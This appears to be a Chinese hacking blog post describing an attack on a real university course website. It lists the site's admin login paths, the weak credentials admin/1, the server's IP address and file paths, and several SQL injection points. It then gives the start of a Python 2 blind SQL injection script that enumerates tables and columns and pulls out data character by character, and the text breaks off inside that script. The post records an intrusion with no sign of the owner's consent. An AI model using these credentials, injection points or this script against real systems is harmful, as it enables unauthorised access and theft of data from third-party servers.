好长一段时间之前搞得了,后来因为比较忙所以没有整理,是一个机友要求帮忙,其实这个站做的挺烂的,直接拿wvs扫了一下,直接出了weak password的后台地址,涛涛电脑知识网
/jpkc/glx/admin/manage.asp
/jpkc/wangl2/huxiujun/admin/manage.asp
/jpkc/sjjjgl/admin/login.asp
/jpkc/glx/admin/login.asp
/jpkc/wangl2/huxiujun/admin/login.asp
user:admin
password:1
这三个后台大致就是如下的样子,里面的功能基本没有一个能使的,不是报错就是权限不够。
都是在jpkc(精品课程)的目录下,应该是多个粗心管理员的所作所为。
因为后台功能大都不能使用,只得到了一些服务器信息
服务器的有关参数 服务器名 business.2cto.com
服务器IP 211.64.240.206
服务器端口 80
服务器时间 2012-10-30 下午 05:17:45
IIS版本 Microsoft-IIS/6.0
脚本超时时间 90 秒
本文件路径 F:\sxy\jpkc\sjjjgl\admin\ServerInfo.asp
服务器CPU数量 个
服务器解译引擎 VBScript/5.6.8850
服务器操作系统
转过头来看看扫出的几个注入点,
/colum3/more.asp?bigcataid=1'
/jiuye/gqtzs.asp?BigClassID=1'
/colum3/readnews.asp?newsid=1'
直接使用第一个,很不错的报错
首先是放到工具里面跑一下,穿山甲之跑出了tables和column,却跑不出data,不知道是什么原因
admin title newsid content about number passwd logins email username id
news title newsid content about
system title newsid content about search logo name email id
其实很多时候,注入工具多不好使,所以有一套自己的注入工具还是很重要的,修改了一个别人的python脚本为己用
本着间接和可扩展性的原则,脚本一点都不智能 - -!,但是可供自定义的地方很多,也没有多么智能的判断,毕竟是自己使用的脚本
[python] view plaincopy
from sys import exit
from urllib import urlopen
from string import join,strip
from re import search
def check_judge(url):
urlfile = urlopen(url)
htmlcodes = urlfile.read()
if search(judge,htmlcodes):
return 1
else:
return 0
def get_tablename():
tablefile = open("table.txt")
for line in tablefile.readlines():
line = strip(line)
sql = join(['%20or%20exists%20(select%20*%20from%20',line,')'],'')
if check_judge(url+sql):
print "Found:",line
else:
print #"Error:",url+sql
def get_columnname(tablename):
columnname = open("column.txt")
for columnnameline in columnname.readlines():
columnnameline = strip(columnnameline)
sql = join(['%20or%20exists%20(select%20',columnnameline,'%20from%20',tablename,')'],'')
if check_judge(url+sql):
print "Found:", columnnameline,"\n"
else:
print #"Error:",url+sql
def get_datalenth(tablename,columnname):
for x in range(1,51):
sql = join(['%20or%20(select%20top%201%20len(',columnname,')%20From%20',tablename,')=',str(x)],'')
if check_judge(url+sql):
print "Found:", x,"\n"
break
else:
print "Error:",sql
def get_data(tablename,columnname,lenth):
list = []
for x in [range(48,58),range(97,123),range(65,91),range(33,48),range(58,65),range(91,97),range(123,256),range(1,33)]:
list.extend(x)
global username
username = ''
for y in range(1,lenth+1):